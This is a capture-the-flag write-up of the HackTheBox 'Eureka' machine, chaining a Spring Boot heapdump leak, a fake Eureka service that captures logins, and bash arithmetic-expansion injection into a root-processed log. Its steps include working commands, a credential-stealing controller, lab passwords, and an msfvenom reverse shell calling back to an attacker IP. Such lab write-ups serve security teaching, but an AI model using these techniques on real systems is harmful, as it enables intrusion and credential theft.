Eureka - HackTheBox Writeup

Machine Information

Attribute	Details
Name	Eureka
OS	Linux
Difficulty	Hard
Points	N/A
Release Date	August 30, 2025
IP Address	N/A
Author	d3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

Enumeration: ⭐⭐⭐☆☆
Real-world: ⭐⭐⭐⭐⭐
CVE: ⭐⭐☆☆☆
CTF-like: ⭐⭐⭐⭐☆

Eureka is a hard-difficulty Linux machine that demonstrates critical vulnerabilities in Spring Boot microservices architectures and service discovery systems. The attack chain begins with exploiting an exposed /actuator/heapdump endpoint on the Furni web application to extract database credentials from the JVM heap dump. After gaining SSH access, enumeration reveals a sophisticated microservice architecture with Spring Cloud Gateway, Eureka service discovery, and a dedicated user-management service. The attacker abuses Eureka’s insecure registration mechanism by deploying a malicious fake USER-MANAGEMENT-SERVICE instance to intercept login credentials via gateway routing. Finally, privilege escalation is achieved by exploiting unsafe bash parameter expansion in a root-run log analysis script, allowing arbitrary command injection through crafted HTTP status codes in application logs.

TL;DR: Exposed heapdump → DB credentials → SSH access → Eureka service injection → credential interception → malicious log injection → RCE as root

Reconnaissance

Port Scanning

# Initial aggressive scan
ports=$(nmap -p- --min-rate=1000 -T4 eureka.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed enumeration
nmap -p$ports -sC -sV eureka.htb

Results:

PORT        STATE SERVICE VERSION
22/tcp      open    ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.12
80/tcp      open    http     nginx 1.18.0 (Ubuntu)
8761/tcp    open    http     Apache Tomcat (HTTP Basic auth required)

Service Enumeration

Port 80 (nginx):

Redirects to http://furni.htb
Hosts an interior design e-commerce application
Proxy forwards traffic to 127.0.0.1:8080 (Spring Cloud Gateway)
Special alias for /actuator/heapdump serving from /opt/heapdump/heapdump

Port 8761 (Eureka Server):

Service discovery and registration server
HTTP Basic authentication required
Acts as microservice registry

Port 22 (SSH):

Standard OpenSSH service

Vulnerability Assessment

Vulnerability	Severity	Impact
Exposed Spring Boot actuator endpoints	Critical	Information disclosure, credential extraction
Heap dump accessible without authentication	Critical	Memory analysis reveals secrets
Insecure Eureka service registration	High	Malicious service injection possible
Unsafe bash parameter expansion in log script	Critical	Arbitrary command execution as root
Writable log files by unprivileged users	High	Log injection vector available

Initial Foothold

Exploitation Path: Spring Boot Heapdump Analysis

Step 1: Enumerate Spring Boot Endpoints

# Use Spring Boot specific wordlist from SecLists
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt \
  -u 'http://furni.htb/' -t 256 -f

# Key findings:
# 200 -    76MB - /actuator/heapdump
# 200 -    6KB  - /actuator/env
# 200 -  198KB  - /actuator/beans
# 200 -  36KB   - /actuator/configprops

Step 2: Download Heap Dump

# Download the JVM memory snapshot
wget http://furni.htb/actuator/heapdump -O heapdump.hprof

Step 3: Analyze Heap Dump with VisualVM

The heap dump contains serialized Java objects, including sensitive strings held in memory:

# Open VisualVM and load heapdump.hprof
# Navigate to: File → Load → heapdump.hprof
# Switch to OQL Console tab

Step 4: Extract Credentials via OQL Query

-- Query all String objects in memory
select s.toString() from java.lang.String s

-- Narrow down to password-related strings
select s.toString() from java.lang.String s
where s.toString().contains("password")

-- Query results reveal:
-- oscar190:0sc@r190_S0l!dP@sswd (database credentials)

Step 5: SSH Access with Retrieved Credentials

# Authenticate with extracted credentials
ssh oscar190@eureka.htb

# Verify hostname
oscar190@eureka:~$ hostname
eureka

# Capture user flag
oscar190@eureka:~$ cat /home/oscar190/user.txt
<redacted>

Credentials Obtained:

Username: oscar190
Password: 0sc@r190_S0l!dP@sswd

Lateral Movement & Privilege Escalation to miranda-wise

Understanding the Microservices Architecture

Step 1: Enumerate Web Service Directories

oscar190@eureka:/var/www/web$ ls -la
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 cloud-gateway
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Eureka-Server
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Furni
drwxrwxr-x 6 www-data developers 4096 Jul 23 2024 user-management-service

Step 2: Analyze Eureka Configuration

# Check user-management-service configuration
cat /var/www/web/user-management-service/src/main/resources/application.properties

# Key configuration reveals:
# spring.application.name=USER-MANAGEMENT-SERVICE
# eureka.client.service-url.defaultZone=http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
# server.port=8081

Step 3: Examine Spring Cloud Gateway Configuration

# Check gateway routing rules
cat /var/www/web/cloud-gateway/src/main/resources/application.yaml

# Critical routing configuration:
# /login, /logout, /register, /process_register → lb://USER-MANAGEMENT-SERVICE
# /** → lb://FURNI
# lb:// uses Eureka for service discovery

Step 4: Identify Login Traffic Pattern

# Check user-management-service logs for active users
oscar190@eureka:~$ cat /var/www/web/user-management-service/log/application.log

# Output shows repeated successful logins:
# 2025-04-09T11:41:01.878Z INFO ... User 'miranda.wise@furni.htb' logged in successfully
# 2025-08-30T19:43:01.821Z INFO ... User 'miranda.wise@furni.htb' logged in successfully

Exploiting Eureka Service Discovery

Step 1: Create Malicious USER-MANAGEMENT-SERVICE

# Generate Spring Boot project from start.spring.io
# Dependencies: Eureka Discovery Client, Spring Web

# Edit application.properties
cat > demo/src/main/resources/application.properties << 'EOF'
spring.application.name=USER-MANAGEMENT-SERVICE
eureka.client.service-url.defaultZone=http://EurekaSrvr:0scarPWDisTheB3st@eureka.htb:8761/eureka/
eureka.instance.ip-address=10.10.14.51
eureka.instance.prefer-ip-address=true
server.port=8080
EOF

Step 2: Intercept Login Credentials

# First, capture legitimate POST request to identify parameters
# POST /login reveals parameters: username, password, _csrf

# Create controller to capture credentials
cat > demo/src/main/java/com/example/demo/controller.java << 'EOF'
package com.example.demo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class controller {
    @PostMapping("/login")
    public String LoginRequest(
        @RequestParam(name = "username") String username,
        @RequestParam(name = "password") String password) {
        System.out.println("username: " + username);
        System.out.println("password: " + password);
        return "HACKED";
    }
}
EOF

Step 3: Deploy Malicious Service and Capture Credentials

# Start malicious service
/opt/tools/maven/bin/mvn spring-boot:run

# Wait for miranda-wise to log in through gateway
# Console output captures credentials:
# username: miranda.wise@furni.htb
# password: IL!veT0Be&BeT0L0ve
# (repeated multiple times as user logs in periodically)

Step 4: Authenticate as miranda-wise

# Use captured credentials
ssh miranda-wise@eureka.htb
Password: IL!veT0Be&BeT0L0ve

# Capture user flag
miranda-wise@eureka:~$ cat /home/miranda-wise/user.txt
<redacted>

Privilege Escalation to Root

Exploiting Log Analysis Script

Step 1: Identify Root-Run Processes

# Upload and run pspy to monitor processes
./pspy64

# Key findings:
# 2025/08/30 20:42:04 CMD: UID=0 PID=385327 | /bin/bash /opt/log_analyse.sh
#   /var/www/web/cloud-gateway/log/application.log

Step 2: Analyze Vulnerable Script

# Examine the log analysis script
miranda-wise@eureka:~$ cat /opt/log_analyse.sh

# Critical vulnerable code section:
# if [[ "$existing_code" -eq "$code" ]]; then
#
# This is vulnerable to bash parameter expansion injection
# When $code contains: a[$(COMMAND>&2)+42
# The arithmetic comparison triggers code execution

Step 3: Verify Write Access to Log File

# Check file permissions
miranda-wise@eureka:~$ ls -la /var/www/web/cloud-gateway/log/application.log
-rw-r--r-- 1 www-data www-data 22160 Aug 30 20:55 application.log

# Check directory and group membership
miranda-wise@eureka:~$ ls -la /var/www/web/cloud-gateway/log/
drwxrwxr-x 2 www-data developers 4096 Aug 30 16:20 .

miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

# User is member of 'developers' group which has write access to directory

Step 4: Gain Write Access to Log File

# Copy, delete, and recreate log file to gain ownership
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cp application.log application.log.copy
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ rm -f application.log
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log.copy application.log

# Verify new ownership
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -la application.log
-rw-r--r-- 1 miranda-wise miranda-wise 22160 Aug 30 21:00 application.log

Step 5: Test Payload with Touch Command

# Inject proof-of-concept payload into application.log
# Add this line to the log file:
# 2025-04-09T11:27:02.286Z INFO 1234 --- [app-gateway] [reactor-http-epoll-3]
# c.eureka.gateway.Config.LoggingFilter: HTTP POST /login - Status: a[$(/bin/touch /tmp/test)]+42

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo '2025-04-09T11:27:02.286Z INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter: HTTP POST /login - Status: a[$(/bin/touch /tmp/test)]+42' >> application.log

# Wait for cron job to execute the script (typically runs every minute)
# After ~1 minute, verify command execution:
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -la /tmp/test
-rw-r--r-- 1 root root 0 Aug 30 21:04 /tmp/test

# File created by root confirms arbitrary command execution as root!

Step 6: Generate and Deploy Reverse Shell

# On attacking machine, generate reverse shell ELF payload
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=10.10.14.51 \
  LPORT=4444 \
  -f elf -o shell.elf

# Upload shell.elf to target machine
# (via scp or other method)
scp shell.elf miranda-wise@eureka.htb:/tmp/shell.elf

# Inject reverse shell command into application.log
echo '2025-04-09T11:27:02.286Z INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter: HTTP POST /login - Status: a[$(/tmp/shell.elf)]+42' >> /var/www/web/cloud-gateway/log/application.log

Step 7: Receive Reverse Shell as Root

# On attacking machine, set up listener
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.138.50] 37048

# Verify root access and capture flag
id
uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
<redacted>

Attack Chain Summary

Enumerate Spring Boot endpoints
    ↓
Download /actuator/heapdump
    ↓
Analyze heap dump with VisualVM OQL
    ↓
Extract database credentials (oscar190:0sc@r190_S0l!dP@sswd)
    ↓
SSH as oscar190
    ↓
Enumerate microservices architecture
    ↓
Analyze Eureka service discovery configuration
    ↓
Identify miranda-wise login patterns
    ↓
Deploy malicious USER-MANAGEMENT-SERVICE
    ↓
Register fake service with Eureka
    ↓
Intercept login credentials (miranda.wise@furni.htb:IL!veT0Be&BeT0L0ve)
    ↓
SSH as miranda-wise
    ↓
Identify root-run log_analyse.sh process
    ↓
Gain write access to application.log via directory permissions
    ↓
Inject bash parameter expansion payload into log file
    ↓
Trigger arbitrary command execution as root
    ↓
Receive reverse shell with root privileges
    ↓
Read root flag

Tools Used

Tool	Purpose
`nmap`	Port scanning and service enumeration
`dirsearch`	Spring Boot endpoint fuzzing
`wget`	Download heap dump file
`VisualVM`	Heap dump analysis and OQL querying
`ssh`	Secure shell access
`Spring Boot`	Malicious microservice creation
`Maven`	Build and deploy Java applications
`msfvenom`	Generate reverse shell payloads
`nc (netcat)`	Establish reverse shell connection
`pspy`	Monitor running processes

Key Learnings

Techniques Practiced

Java Heap Dump Analysis: Extracting sensitive data from serialized Java objects using OQL (Object Query Language)
Spring Boot Security: Understanding and exploiting exposed actuator endpoints
Microservices Architecture: Enumerating Spring Cloud components (Gateway, Eureka, service discovery)
Service Discovery Abuse: Malicious service registration to intercept traffic
Bash Parameter Expansion Exploitation: Arbitrary code injection via unsafe arithmetic expansion in bash conditionals
Log File Manipulation: Using writable log files as vectors for privilege escalation
Group-based Privilege Escalation: Leveraging developer group membership to gain file write access

Lessons Learned

Exposed actuator endpoints are critical vulnerabilities — they leak sensitive information including credentials, configurations, and memory snapshots. Disable them in production or require strong authentication.
Heap dumps contain plaintext secrets — Java developers often store credentials in memory without encryption. Memory analysis tools can extract them easily.
Service discovery systems require security — Eureka and similar systems should validate service registrations cryptographically. Trusting any registration request enables man-in-the-middle attacks.
Bash arithmetic expansion is dangerous — Using [[ $var -eq $value ]] in bash scripts with untrusted input allows command injection. Use safer constructs or validate input strictly.
Log files are attack vectors — If unprivileged users can write to logs processed by privileged scripts, it creates a privilege escalation path. Apply strict file permissions and validate log contents.
Group membership implications — Membership in developer groups with write access to application directories can lead to privilege escalation. Audit group permissions carefully.
Microservices increase attack surface — Multiple services, discovery mechanisms, and routing layers create more potential exploitation vectors than monolithic applications.
Defense in depth is essential — This machine requires chaining multiple vulnerabilities. No single fix would have prevented compromise; multiple security layers were needed.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>